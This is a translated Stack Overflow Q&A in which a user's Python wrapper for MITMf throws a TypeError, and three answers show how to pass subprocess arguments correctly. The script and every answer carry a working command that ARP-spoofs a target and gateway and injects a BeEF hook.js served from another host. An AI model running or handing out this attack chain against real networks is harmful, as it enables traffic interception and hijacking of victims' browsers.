我的代码是:
#! /usr/bin/env python
ip_addr = raw_input("Enter your target IP: ")
gateway = raw_input("Enter your gateway IP: ")
from subprocess import call
import subprocess
import os
os.chdir("/usr/share/mitmf/")
subprocess.Popen(["python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js"] % (gateway, ip_addr), shell = False)我说的是:
Traceback (most recent call last):
File "./ARP_Beef.py", line 11, in <module>
subprocess.Popen(["python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js"] % (gateway, ip_addr), shell = False)
TypeError: unsupported operand type(s) for %: 'list' and 'tuple'我不知道是怎么回事。有人能帮我吗
发布于 2016-03-04 19:51:42
我想说的是:使用单一的列表元素:
subprocess.Popen(["python", "mitmf.py", "--spoof", "--arp", "-i", "wlan0", "--gateway", gateway, "--target", ip_addr, "--inject", "--js-url", "http://192.168.1.109:3000/hook.js"], shell = False)docs.python.org:“在Unix上,如果args是字符串,则字符串被解释为要执行的程序的名称或路径。但是,如果不向程序传递参数,则只能执行。”
发布于 2016-03-04 19:45:59
删除'['和']'
"python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js" % (gateway, ip_addr)发布于 2016-03-05 20:53:52
TypeError:%:'list‘和'tuple’的不受支持的操作数类型
意思是你做不到:
>>> ['%s'] % ('b',)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: unsupported operand type(s) for %: 'list' and 'tuple'应该将每个命令行参数作为单独的列表项传递:
#!/usr/bin/env python
import subprocess
import sys
gateway, ip_addr = 'get them', 'however you like'
subprocess.check_call([sys.executable] +
'/usr/share/mitmf/mitmf.py --spoof --arp -i wlan0'.split() +
['--gateway', gateway, '--target', ip_addr] +
'--inject --js-url http://192.168.1.109:3000/hook.js'.split(),
cwd="/usr/share/mitmf/")https://stackoverflow.com/questions/35804711
复制相似问题